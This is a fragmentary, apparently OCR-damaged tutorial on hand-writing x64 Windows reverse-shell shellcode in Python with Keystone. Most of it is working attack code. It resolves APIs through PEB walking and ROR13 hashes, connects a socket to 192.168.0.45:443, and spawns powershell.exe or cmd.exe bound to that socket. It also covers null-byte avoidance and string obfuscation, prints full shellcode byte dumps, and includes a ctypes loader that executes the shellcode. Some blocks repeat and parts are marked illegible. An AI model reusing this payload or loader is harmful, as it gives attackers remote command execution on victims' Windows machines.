"    push rdx;"
"    mov dl, 0xff;"

```

```

"    inc dx;"
"    push dx;"          #    dwFlags  0x100
"    xor rdx, rdx;"
"    push dx;"          #    cb      0
"    push dx;"
"    push rdx;"
"    push rdx;"
"    push rdx;"
"    push rdx;"
"    push rdx;"
"    mov dl, 0x68;"
"    push rdx;"          #    cb  0x68
"    mov rdi, rsp;"      #    STARTINFOA
"    mov rdx, rsp;"
"    sub rdx, 0x20;"     #    ProcessInformation
"    push rdx;"          #    ProcessInformation      10
"    push rdi;"          #    STARTINFOA              9
"    xor rdx, rdx;"
"    push rdx;"          #    lpCurrentDirectory 0   8
"    push rdx;"          #    lpEnvironment 0   7
"    push rdx;"          #    dwCreationFlags 0   6
"    inc rdx;"
"    push rdx;"          #    bInheritHandles 1   5
"    xor rdx, rdx;"
"    push rdx;"          #          ( 4 )
"    push rdx;"          #          ( 3 )
"    push rdx;"          #          ( 2 )
"    push rdx;"          #          ( 1 )
"    mov rdx, rcx;"      #    lpCommandLine "powershell.exe"      2
"    xor rcx, rcx;"      #    lpCommandLine    lpApplicationName
"    mov r8, rcx;"       #    lpProcessAttributes 0   3
"    mov r9, rcx;"       #    lpThreadAttributes 0   4
"    call rax;"
)

```

```
ks = Ks(KS_ARCH_X86, KS_MODE_64)
```

```
encoding, count = ks.asm(CODE)
```

```
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))

print("Shellcode located at address %s" % hex(ptr))
input("... ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                          ctypes.c_int(0),
                                          ctypes.c_uint64(ptr),
                                          ctypes.c_int(0),
                                          ctypes.c_int(0),
                                          ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))
```

[illegible]

start	0x00	0x00
-------	------	------

PIC

```
start      0x0000      0x00
```

```
"start:"
"    sub rsp, 0x20;"          #
"    call find_kernel32;"
"    add rsp, 0x20;"          #
"    mov rbp, rax;"           # RBP   Kernel32.dll
"    mov r8d, 0xec0e4e8e;"     # LoadLibraryA
"    sub rsp, 0x20;"          #
"    call parse_module;"       #      LoadLibraryA
"    add rsp, 0x20;"          #
"    mov r12, rax;"
"    mov r8d, 0x7c0dfcaa;"     # GetProcAddress
"    sub rsp, 0x20;"          #
"    call parse_module;"       #      GetProcAddress
"    add rsp, 0x20;"          #
"    mov r13, rax;"
"    call load_module;"
```

Shellcode	Kernel32.dll	jump proxy
-----------	--------------	------------

```

CODE = (

"find_kernel32: "
"    xor rdx, rdx;"
"    mov rax, gs:[rdx+0x60];"        # RAX TEB ProcessEnvironmentBlock    PEB
"    mov rsi,[rax+0x18];"           # PEB  LDR    _PEB_LDR_DATA
"    mov rsi,[rsi + 0x20];"         # RSI _PEB_LDR_DATA    InMemoryOrderModuleList
.....
"jump_proxy:"
"    jmp jump_section;"

```

jump_proxy	jump_section	0x00	jump_proxy	jump_section
-------------------	---------------------	------	------------	--------------

```

.....
" jump_section: "
"    mov rbp, r9;"    # RBP = Kernel32.dll Address
"    mov r8d, 0xec0e4e8e;"    # LoadLibraryA Hash
"    sub rsp, 0x30;"
"    call parse_module;"    # Search LoadLibraryA's address
"    add rsp, 0x30;"
"    mov r12, rax;"    # R12 = LoadLibraryA Address
"    mov r8d, 0x7c0dfcaa;"    # GetProcAddress Hash
"    sub rsp, 0x30;"
"    call parse_module;"    # Search GetProcAddress' address
"    add rsp, 0x30;"
"    mov r13, rax;"    # R13 = GetProcAddress Address

```

(RSP 0)

CreateProcessA

```

import ctypes, struct
from keystone import *

```

```

CODE = (

"find_kernel32: "
"    xor rdx, rdx;"
"    mov rax, gs:[rdx+0x60];"        # RAX TEB ProcessEnvironmentBlock    PEB

```

```

"    mov rsi,[rax+0x18];"        # PEB   LDR       _PEB_LDR_DATA
"    mov rsi,[rsi + 0x20];"      # RSI   _PEB_LDR_DATA   InMemoryOrderModuleList

"next_module:"
"    mov r9, [rsi + 0x20];"      # R9
"    mov rdi, [rsi + 0x50];"     # RDI   DllBaseName  Buffer
"    mov rsi, [rsi];"           #
"    add rdi, 2;"               #   K

"check_upper:"                 #   "ERNEL32."
"    mov r12, 0x1055105E10621055;" # Unicode   "ENRE"  0x1010101010101010
"    mov rax, 0x1010101010101010;"
"    sub r12, rax;"
"    mov r13, 0x103e10421043105c;" # Unicode   ".23L"  0x1010101010101010
"    mov rax, 0x1010101010101010;"
"    sub r13, rax;"
"    mov rdx, qword ptr [rdi];"   #           "ERNEL32.DLL"  RDX
"    cmp rdx, r12;"              #   4   "ENRE"
"    jne check_lower;"          #
"    mov rdx, qword ptr [rdi + 8];" #           ".23L"  RDX
"    cmp rdx, r13;"              #   4   ".23L"
"    jne next_module;"          #
"    jmp jump_proxy;"

"check_lower:"                 #   "ernel32."
"    mov r12, 0x1075107E10821075;" # Unicode   "enre"  0x10101010
"    mov rax, 0x1010101010101010;"
"    sub r12, rax;"
"    mov r13, 0x103e10421043107c;" # Unicode   ".23l"  0x10101010
"    mov rax, 0x1010101010101010;"
"    sub r13, rax;"
"    mov rdx, qword ptr [rdi];"
"    cmp rdx, r12;"
"    jne next_module;"          #
"    mov rdx, qword ptr [rdi + 8];"
"    cmp rdx, r13;"
"    jne next_module;"

"jump_proxy:"

```

```

"    jmp jump_section;"

"parse_module:"    #        DLL
"    mov ecx, dword ptr [r9 + 0x3c];"    # R9        NT
"    xor r15, r15;"
"    mov r15b, 0x88;"
"    add r15, r9;"
"    add r15, rcx;"
"    mov r15d, dword ptr [r15];"    #        RVA
"    add r15, r9;"    # R14        VMA
"    mov ecx, dword ptr [r15 + 0x18];"    # ecx
"    mov r14d, dword ptr [r15 + 0x20];"    # ENPT RVA
"    add r14, r9;"    # R14    ENPT VMA

"search_function:"    #
"    jrcxz not_found;"    # RCX 0
"    dec ecx;"    #    1
"    xor rsi, rsi;"
"    mov esi, [r14 + rcx*4];"    #        RVA
"    add rsi, r9;"    # RSI

"function_hashing:"    #
"    xor rax, rax;"
"    xor rdx, rdx;"
"    cld;"    # DF

"iteration:"    #
"    lodsb;"    # RSI        Al
"    test al, al;"    #
"    jz compare_hash;"    #
"    ror edx, 0x0d;"    #
"    add edx, eax;"    #
"    jmp iteration;"    #

"compare_hash:"    #
"    cmp edx, r8d;"
"    jnz search_function;"    #        (    )
"    mov r10d, [r15 + 0x24];"    #        RVA
"    add r10, r9;"    #        VMA
"    movzx ecx, word ptr [r10 + 2*rcx];"    #        -1

```

```

"    mov r11d, [r15 + 0x1c];"        # EAT RVA
"    add r11, r9;"                  # EAT VNA
"    mov eax, [r11 + 4*rcx];"        # RAX    RVA
"    add rax, r9;"                  # RAX    VMA
"    ret;"

"not_found:"
"    ret;"


"    jump_section:"
"    mov rbp, r9;"                  # RBP Kernel32.dll
"    mov r8d, 0xec0e4e8e;"          # LoadLibraryA
"    sub rsp, 0x20;"
"    call parse_module;"            #    LoadLibraryA
"    add rsp, 0x20;"
"    mov r12, rax;"                 # R12 LoadLibraryA
"    mov r8d, 0x7c0dfcaa;"          # GetProcAddress
"    sub rsp, 0x20;"
"    call parse_module;"            #    GetProcAddress address
"    add rsp, 0x20;"
"    mov r13, rax;"                 # R13 GetProcAddress


"load_module:"
"    xor rax, rax;"
"    mov ax, 0x6c6c;"                #    "ll"    RAX
"    push rax;"                      #
"    mov rax, 0x642E32335F325357;"    #    "WS2_32.D"    RAX
"    push rax;"                      #
"    mov rcx, rsp;"                  # RCX "ws2_32.dll\0"
"    sub rsp, 0x20;"                #
"    mov rax, r12;"                  # RAX LoadLibraryA
"    call rax;"                      # LoadLibraryA("ws2_32.dll")
"    add rsp, 0x20;"                #
"    add rsp, 0x10;"                  #    "ws2_32.dll"
"    mov r14, rax;"                  # R14 ws2_32.dll


"call_wsastartup:"
"    mov r9, rax;"                  # R9 ws2_32.dll
"    mov r8d, 0x3bfcedcb;"          # WSASStartup

```

```

"    mov rbx, r9;"      # ws2_32.dll    RBX
"    call parse_module;"    #    WSASStartup
"    xor rcx, rcx;"
"    mov cx, 0x198;"
"    sub rsp, rcx;"      #    lpWSADATA    "
"    lea rdx, [rsp];"      # lpWSADATA    RDX    2
"    xor rcx, rcx;"
"    xor r13, r13;"
"    mov cx, 0x1313;"
"    mov r13w, 0x1111;"
"    sub rcx, r13;"      # 0x202 wVersionRequired    RCX    1
"    sub rsp, 0x30;"      #
"    call rax;"      # WSASStartup
"    add rsp, 0x30;"      #

```

"call_wsasocket: "

```

"    mov r9, rbx;"
"    mov r8d, 0xadf509d9;"    # WSASocketA
"    call parse_module;"    # WSASocketA
"    sub rsp, 0x30;"      #
"    xor rcx, rcx;"
"    mov cl, 2;"      #    mov rcx, 2;    # af 2    1
"    xor rdx, rdx;"
"    mov dl, 1;"      # type 1    2
"    xor r8, r8;"
"    mov r8b, 6;"      # protocol 6    3
"    xor r9, r9;"      # lpProtocolInfo 0    4
"    mov [rsp+0x20], r9;"      # g 0    5
"    mov [rsp+0x28], r9;"      # dwFlags 0    6
"    call rax;"      # WSASocketA
"    mov r12, rax;"      #    socket    R12    RAX
"    add rsp, 0x30;"      #

```

"call_wsaconnect: "

```

"    mov r9, rbx;"
"    mov r8d, 0xb32dba0c;"    # WSAConnect
"    call parse_module;"    # WSAConnect
"    sub rsp, 0x20;"      # socketaddr    (>=0x18 )
"    mov rcx, r12;"      # WSASocketA    RCX    1
"    xor rdx, rdx;"

```

```

"    mov dl, 2;"        # sin_family    AF_INET 2
"    mov [rsp], rdx;"    #    socketaddr
"    xor rdx, rdx;"
"    mov dx, 0xbb01;"    #    443
"    mov [rsp+2], rdx;"    #    socketaddr
"    mov edx, 0x3d10b8d0;"
"    sub edx, 0x10101010;"    #    IP 192.168.0.45
"    mov [rsp+4], rdx;"    #    IP    sockaddr
"    lea rdx, [rsp];"    #    socketaddr    2
"    xor r8, r8;"
"    mov r8b, 0x16;"    #    namelen    0x16
"    xor r9, r9;"    #    lpCallerData 0    4
"    sub rsp, 0x38;"    #
"    mov [rsp+0x20], r9;"    #    lpCalleeData 0    5
"    mov [rsp+0x28], r9;"    #    lpSQOS 0    6
"    mov [rsp+0x30], r9;"    #    lpGQOS 0    7
"    call rax;"    #    WSAConnect
"    add rsp, 0x38;"    #

"call_createprocess:"
"    mov r9, rbp;"    #    R9 Kernel32.dll
"    mov r8d, 0x16b3fe72;"    #    CreateProcessA
"    call parse_module;"    #    CreateProcessA
"    sub rsp, 8;"    #
"    mov rdx, 0x10107588753e7c7c;"
"    mov r13, 0x1010101010101010;"
"    sub rdx, r13;"    #    "exe.ll"
"    push rdx;"
"    mov rdx, 0x6568737265776f70;"    #    "ehsrewop"
"    push rdx;"    #    "powershell.exe"
"    mov rcx, rsp;"    #    "powershell.exe"    RCX
"    push r12;"    #    STDERROR    WSASocketA
"    push r12;"    #    STDOUTPUT    WSASocketA
"    push r12;"    #    STDINPUT    WSASocketA
"    xor rdx, rdx;"
"    push dx;"    #    dwFlags    0
"    push rdx;"
"    push rdx;"
"    mov dl, 0xff;"
"    inc dx;"

```

```

"    push dx;"          #    dwFlags  0x100
"    xor rdx, rdx;"
"    push dx;"          #    cb      0
"    push dx;"
"    push rdx;"
"    push rdx;"
"    push rdx;"
"    push rdx;"
"    push rdx;"
"    push rdx;"
"    mov dl, 0x68;"
"    push rdx;"          #    cb  0x68
"    mov rdi, rsp;"      #    STARTINFOA
"    mov rdx, rsp;"
"    sub rdx, 0x20;"     #    ProcessInformation
"    push rdx;"          # ProcessInformation      10
"    push rdi;"          # STARTINFOA           9
"    xor rdx, rdx;"
"    push rdx;"          # lpCurrentDirectory 0   8
"    push rdx;"          # lpEnvironment 0   7
"    push rdx;"          # dwCreationFlags 0   6
"    inc rdx;"
"    push rdx;"          # bInheritHandles 1   5
"    xor rdx, rdx;"
"    push rdx;"          #          ( 4 )
"    push rdx;"          #          ( 3 )
"    push rdx;"          #          ( 2 )
"    push rdx;"          #          ( 1 )
"    mov rdx, rcx;"      # lpCommandLine "powershell.exe"      2
"    xor rcx, rcx;"      # lpCommandLine lpApplicationName
"    mov r8, rcx;"       # lpProcessAttributes 0   3
"    mov r9, rcx;"       # lpThreadAttributes 0   4
"    call rax;"
)

```

```

ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm( CODE)
print("Encoded %d instructions..." % count)

```

```

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                           ctypes.c_int(len(shellcode)),
                                           ctypes.c_int(0x3000),
                                           ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                      buf,
                                      ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                          ctypes.c_int(0),
                                          ctypes.c_uint64(ptr),
                                          ctypes.c_int(0),
                                          ctypes.c_int(0),
                                          ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))

```

Shellcode

0x00

Shellcode

Kernel32.dll

Msfvenom	0x00	T503	Shell	200
----------	------	------	-------	-----

```
shellcode += b"\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48"
```

```
"    xor rdx, rdx;"
```

```
"    mov rax, gs:[rdx + 0x60];"
"    mov rsi, [rax + 0x18];"
"    mov rsi, [rsi + 0x20];"
"    mov r9, [rsi];"      #    python.exe
"    mov r9, [r9];"      #    ntdll.dll
"    mov r9, [r9+0x20];"  #    kernel32.dll
"    jmp jump_section;"
```

Msfvenom

```
(root@kali) [~/Desktop]
# python3 x64.py
Encoded 189 instructions...
Length of shellcode: 562
\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x48\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\x6f\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x48\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x4c\x89\xcd\x41\xb8\x8e\x4e\x0e\xec\x48\x83\xec\x30\xe8\x8b\xff\xff\xff\x48\x83\xc4\x30\x49\x89\xc4\x41\xb8\xaa\xfc\x0d\x7c\x48\x83\xec\x30\xe8\x75\xff\xff\xff\x48\x83\xc4\x30\x49\x89\xc5\x48\x31\xc0\x66\xb8\x6c\x6c\x50\x48\xb8\x57\x53\x32\x5f\x33\x32\xe6\x50\x48\x89\x1e\x48\x83\xec\x20\x4c\x89\xe0\xff\xd0\x48\x83\xc4\x20\x48\x83\xc4\x10\x49\x89\xc6\x49\x89\xc1\x41\xb8\xcb\xed\xfc\x3b\x4c\x89\xcb\x8e\x33\xff\xff\xff\x48\x31\xc9\x66\xb9\x98\x01\x48\x29\xcc\x48\x8d\x14\x24\x48\x31\xc9\x4d\x31\xed\x66\xb9\x13\x13\x66\x41\xbd\x11\x11\xc4\x29\xe9\x48\x83\xec\x30\xff\xd0\x48\x83\xc4\x30\x49\x89\xd9\x41\xb8\xd9\x09\xf5\xad\xe8\xfb\xfe\xff\xff\x48\x83\xec\x30\x48\x31\xc9\xbd\x10\xd2\x48\x31\xd2\xb2\x01\x4d\x31\xc9\x48\x83\xec\x30\x48\x83\xec\x30\x49\x89\x4c\x24\x20\x4c\x89\x4c\x24\x28\xff\xd0\x49\x89\xc4\x48\x83\xc4\x30\x49\x89\xd9\x41\xb8\x0c\xba\x2d\xb3\xe8\xc3\xfe\xff\xff\x48\x83\xec\x20\x4c\x89\xe1\x48\x31\xd2\xb2\x02\x48\x89\x14\x24\x48\x31\xd2\x66\xba\x01\xbb\x48\x89\x54\x24\x02\xba\xd0\xb8\x10\x3d\x81\xea\x10\x10\x10\x10\x48\x89\x54\x24\x04\x48\x8d\x14\x24\x48\x31\xc0\x41\xb0\x16\x4d\x31\xc9\x48\x83\xec\x30\x48\x83\xec\x30\x4c\x89\x4c\x24\x20\x4c\x89\x4c\x24\x28\xff\xd0\x49\xd0\x48\x83\xc4\x38\x49\x89\xe9\x41\xb8\x72\xfe\xb3\x16\xe8\x63\xfe\xff\xff\x48\x83\xec\x08\x48\xba\x7c\x7c\x3e\x75\x88\x75\x10\x10\x49\xbd\x10\x10\x10\x10\x10\x10\x10\x10\x4c\x29\xea\x52\x48\xba\x70\x6f\x77\x65\x72\x73\x68\x65\x52\x48\x89\xe1\x41\x54\x41\x54\x14\x41\x54\x48\x31\xd2\x66\x52\x52\x52\x52\xff\x66\xff\x66\x52\x66\x52\x66\x52\x66\x52\x52\x52\x52\x52\x52\x52\x52\x52\x48\x89\xca\x48\x31\xc9\x49\x89\xc8\x49\x89\x9c\xff\xd0
```

```
jump sectionGetProcAddress
```

```
" jump_section:"
"    mov rbp, r9;"      # RBP Kernel32.dll
"    mov r8d, 0xec0e4e8e;"  # LoadLibraryA
"    call parse_module;"    # LoadLibraryA
"    mov r12, rax;"      # R12 LoadLibraryA
```

532


```

"    push rcx;"
"    mov cl, 0xff;"
"    inc cx;"
"    push cx;"          #    dwFlags  0x100
"    xor rcx, rcx;"
"    push cx;"          #    cb      0
"    push cx;"
"    push rcx;"
"    push rcx;"
"    push rcx;"
"    push rcx;"
"    push rcx;"
"    mov cl, 0x68;"
"    push rcx;"          #    cb  0x68
"    mov rdi, rsp;"      #    STARTINFOA
"    mov rcx, rsp;"
"    sub rcx, 0x20;"     #    ProcessInformation
"    push rcx;"          #    ProcessInformation      10
"    push rdi;"          #    STARTINFOA              9
"    xor rcx, rcx;"
"    push rcx;"          #    lpCurrentDirectory 0   8
"    push rcx;"          #    lpEnvironment 0   7
"    push rcx;"          #    dwCreationFlags 0   6
"    inc rcx;"
"    push rcx;"          #    bInheritHandles 1   5
"    dec cl;"
"    push rcx;"          #          ( 4 )
"    push rcx;"          #          ( 3 )
"    push rcx;"          #          ( 2 )
"    push rcx;"          #          ( 1 )
"    mov r8, rcx;"        #    lpProcessAttributes 0   3
"    mov r9, rcx;"        #    lpThreadAttributes 0   4
"    call rax;"

```

```

(root@kali)-[~/Desktop]
# python3 x64.py
Payload size: 507 bytes
buf = b"\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d"
buf += b"\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01"
buf += b"\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01"
buf += b"\xce\x3e\x3f\xff\x9c\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31"
buf += b"\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45"
buf += b"\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b"
buf += b"\x04\x8b\x4c\x01\xc8\xc3\xc3\x4c\x89\xcd\x41\xb8\x8e\x4e\x0e\xec\xe8\x8f\xff\xff"
buf += b"\xff\x49\x89\xc4\x48\x31\xc0\x66\xb8\x6c\x6c\x50\x48\xb8\x57\x53\x32\x5f\x33\x32"
buf += b"\x2e\x64\x50\x48\x89\xe1\x48\x83\xec\x20\x4c\x89\xe0\xff\xd0\x48\x83\xc4\x20\x49"
buf += b"\x89\xc6\x49\x89\xc1\x41\xb8\xcb\xed\xfc\x3b\x4c\x89\xcb\xe8\x55\xff\xff\xff\x48"
buf += b"\x31\xc9\x66\xb9\x98\x01\x48\x29\xcc\x48\x8d\x14\x24\x48\x31\xc9\x4d\x31\xed\x66"
buf += b"\xb9\x13\x13\x66\x41\xbd\x11\x11\x4c\x29\xe9\x48\x83\xec\x30\xff\xd0\x48\x83\xc4"
buf += b"\x30\x49\x89\xd9\x41\xb8\xd9\x09\xf5\xad\xe8\x1d\xff\xff\xff\x48\x83\xec\x30\x48"
buf += b"\x31\xc9\xb1\x02\x48\x31\xd2\xb2\x01\x4d\x31\xc0\x41\xb0\x06\x4d\x31\xc9\x4c\x89"
buf += b"\x4c\x24\x20\x4c\x89\x4c\x24\x28\xff\xd0\x49\x89\xc4\x48\x83\xc4\x30\x49\x89\xd9"
buf += b"\x41\xb8\x0c\xba\x2d\xb3\xe8\xe5\xfe\xff\xff\x48\x83\xec\x20\x4c\x89\xe1\x48\x31"
buf += b"\xd2\xb2\x02\x48\x89\x14\x24\x48\x31\xd2\x66\xba\x01\xbb\x48\x89\x54\x24\x02\xba"
buf += b"\x40\x57\xff\xd2\xf7\xda\x48\x89\x54\x24\x04\x48\x8d\x14\x24\x4d\x31\xc0\x41\xb0"
buf += b"\x16\x4d\x31\xc9\x48\x83\xec\x38\x4c\x89\x4c\x24\x20\x4c\x89\x4c\x24\x28\x4c\x89"
buf += b"\x4c\x24\x30\xff\xd0\x48\x83\xc4\x38\x49\x89\xe9\x41\xb8\x72\xfe\xb3\x16\xe8\x89"
buf += b"\xfe\xff\xff\x48\x83\xec\x08\x48\xba\x93\x93\xd1\x9a\x87\x9a\xff\xff\x48\xf7\xd2"
buf += b"\x52\x48\xba\x70\x6f\x77\x65\x72\x73\x68\x65\x52\x48\x89\xe2\x41\x54\x41\x54\x41"
buf += b"\x54\x48\x31\xc9\x66\x51\x51\x51\xb1\xff\x66\xff\xc1\x66\x51\x48\x31\xc9\x66\x51"
buf += b"\x66\x51\x51\x51\x51\x51\x51\xb1\x68\x51\x48\x89\xe7\x48\x89\xe1\x48\x83\xe9"
buf += b"\x20\x51\x57\x48\x31\xc9\x51\x51\x51\x48\xff\xc1\x51\xfe\xc9\x51\x51\x51\x51\x49"
buf += b"\x89\xc8\x49\x89\xc9\xff\xd0"

```

```

(root@kali)-[~/Desktop]
# python3 x64.py | grep 0x00

```

Shellcode Msfvenom "cmd.exe" "powershell.exe" cmd.exe
"powershell.exe" "cmd.exe"

```

"    mov rdx, 0xff9a879ad19b929c;"
"    not rdx;"
"    push rdx;"

```

```

import ctypes, struct
from keystone import *

CODE = (

"find_kernel32:"
"    xor rdx, rdx;"
"    mov rax, gs:[rdx+0x60];"      # RAX TEB ProcessEnvironmentBlock      PEB

```

```

"    mov rsi,[rax+0x18];"      # PEB   LDR    _PEB_LDR_DATA
"    mov rsi,[rsi + 0x20];"    # RSI _PEB_LDR_DATA   InMemoryOrderModuleList
"    mov r9, [rsi];"          #    python.exe
"    mov r9, [r9];"            #    ntdll.dll
"    mov r9, [r9+0x20];"       #    kernel32.dll
"    jmp jump_section;"

"parse_module:"              #          DLL
"    mov ecx, dword ptr [r9 + 0x3c];"      # R9          NT
"    xor r15, r15;"
"    mov r15b, 0x88;"
"    add r15, r9;"
"    add r15, rcx;"
"    mov r15d, dword ptr [r15];"          #          RVA
"    add r15, r9;"                        # R14          VMA
"    mov ecx, dword ptr [r15 + 0x18];"     # ecx
"    mov r14d, dword ptr [r15 + 0x20];"    #  ENPT RVA
"    add r14, r9;"                        # R14  ENPT VMA

"search_function:"            #
"    jrcxz not_found;"        #    RCX 0
"    dec ecx;"                #    1
"    xor rsi, rsi;"
"    mov esi, [r14 + rcx*4];"    #          RVA
"    add rsi, r9;"              # RSI

"function_hashing:"          #
"    xor rax, rax;"
"    xor rdx, rdx;"
"    cld;"                    #    DF

"iteration:"                  #
"    lodsb;"                  # RSI          AL
"    test al, al;"            #
"    jz compare_hash;"        #
"    ror edx, 0x0d;"          #
"    add edx, eax;"            #
"    jmp iteration;"          #

"compare_hash:"              #

```

```

"    cmp edx, r8d;"
"    jnz search_function;"          #          (      )
"    mov r10d, [r15 + 0x24];"       #    RVA
"    add r10, r9;"                  #    VMA
"    movzx ecx, word ptr [r10 + 2*rcx];"    #    -1
"    mov r11d, [r15 + 0x1c];"       # EAT RVA
"    add r11, r9;"                  # EAT VNA
"    mov eax, [r11 + 4*rcx];"       # RAX    RVA
"    add rax, r9;"                  # RAX    VMA
"    ret;"
"not_found:"
"    ret;"

" jump_section:"
"    mov rbp, r9;"                  # RBP = Kernel32.dll Address
"    mov r8d, 0xec0e4e8e;"          # LoadLibraryA Hash
"    call parse_module;"            # Search LoadLibraryA's address
"    mov r12, rax;"                 # R12 = LoadLibraryA Address

"load_module:"
"    xor rax, rax;"
"    mov ax, 0x6c6c;"                #    "ll"    RAX
"    push rax;"                      #
"    mov rax, 0x642E32335F325357;"    #    "WS2_32.D"    RAX
"    push rax;"                      #
"    mov rcx, rsp;"                  # RCX "ws2_32.dll\0"
"    sub rsp, 0x20;"                 #
"    mov rax, r12;"                  # RAX LoadLibraryA
"    call rax;"                      # LoadLibraryA("ws2_32.dll")
"    add rsp, 0x20;"                 #
"    mov r14, rax;"                  # R14    ws2_32.dll

"call_wsastartup:"
"    mov r9, rax;"                   # R9    ws2_32.dll
"    mov r8d, 0x3bfcedcb;"           # WSASStartup
"    mov rbx, r9;"                   # ws2_32.dll    RBX
"    call parse_module;"              #    WSASStartup
"    xor rcx, rcx;"
"    mov cx, 0x198;"

```

```

"    sub rsp, rcx;"        #    lpWSADATA    "
"    lea rdx, [rsp];"      #    lpWSAData    RDX    2
"    mov cx, 0x202;"
"    sub rsp, 0x30;"      #
"    call rax;"           #    WSASStartup
"    add rsp, 0x30;"      #

"call_wsasocket:"
"    mov r9, rbx;"
"    mov r8d, 0xadf509d9;"    #    WSASocketA
"    call parse_module;"      #    WSASocketA
"    sub rsp, 0x30;"          #
"    xor rcx, rcx;"
"    mov cl, 2;"              #    mov rcx, 2;    # af 2    1
"    xor rdx, rdx;"
"    mov dl, 1;"              #    type 1    2
"    xor r8, r8;"
"    mov r8b, 6;"             #    protocol 6    3
"    xor r9, r9;"             #    lpProtocolInfo 0    4
"    mov [rsp+0x20], r9;"      #    g 0    5
"    mov [rsp+0x28], r9;"      #    dwFlags 0    6
"    call rax;"               #    WSASocketA
"    mov r12, rax;"           #    socket        R12    RAX
"    add rsp, 0x30;"          #

"call_wsaconnect:"
"    mov r9, rbx;"
"    mov r8d, 0xb32dba0c;"    #    WSAConnect
"    call parse_module;"      #    WSAConnect
"    sub rsp, 0x20;"          #    socketaddr        ( >=0x18 )
"    mov rcx, r12;"           #    WSASocketA        RCX    1
"    xor rdx, rdx;"
"    mov dl, 2;"              #    sin_family    AF_INET 2
"    mov [rsp], rdx;"         #    socketaddr
"    xor rdx, rdx;"
"    mov dx, 0xbb01;"         #    443
"    mov [rsp+2], rdx;"       #    socketaddr
"    mov edx, 0xd2ff5740;"
"    neg edx;"
"    mov [rsp+4], rdx;"       #    IP    sockaddr        \

```

```

# " xor r8, r8;"      []
# " mov [rsp+8], r8;"      # sin_zero 0 2      shellcode
"   lea rdx, [rsp];"      # socketaddr      2
"   xor r8, r8;"
"   mov r8b, 0x16;"      # namelen 0x16
"   xor r9, r9;"      # lpCallerData 0 4
"   sub rsp, 0x38;"      #
"   mov [rsp+0x20], r9;"      # lpCalleeData 0 5
"   mov [rsp+0x28], r9;"      # lpSQOS 0 6
"   mov [rsp+0x30], r9;"      # lpGQOS 0 7
"   call rax;"      # WSAConnect
"   add rsp, 0x38;"      #

"call_createprocess:"
"   mov r9, rbp;"      # R9 Kernel32.dll
"   mov r8d, 0x16b3fe72;"      # CreateProcessA
"   call parse_module;"      # CreateProcessA
"   mov rdx, 0xff9a879ad19b929c;"      # NOT "exe.dmc"
"   not rdx;"
"   push rdx;"
"   mov rdx, rsp;"      # "powershell.exe"      RCX
"   push r12;"      # STDERROR WSASocketA
"   push r12;"      # STDOUTPUT WSASocketA
"   push r12;"      # STDINPUT WSASocketA
"   xor rcx, rcx;"
"   push cx;"      # dwFlags 0
"   push rcx;"
"   push rcx;"
"   mov cl, 0xff;"
"   inc cx;"
"   push cx;"      # dwFlags 0x100
"   xor rcx, rcx;"
"   push cx;"      # cb 0
"   push cx;"
"   push rcx;"
"   push rcx;"
"   push rcx;"
"   push rcx;"
"   push rcx;"
"   push rcx;"

```



```

buf = ( ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))

print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

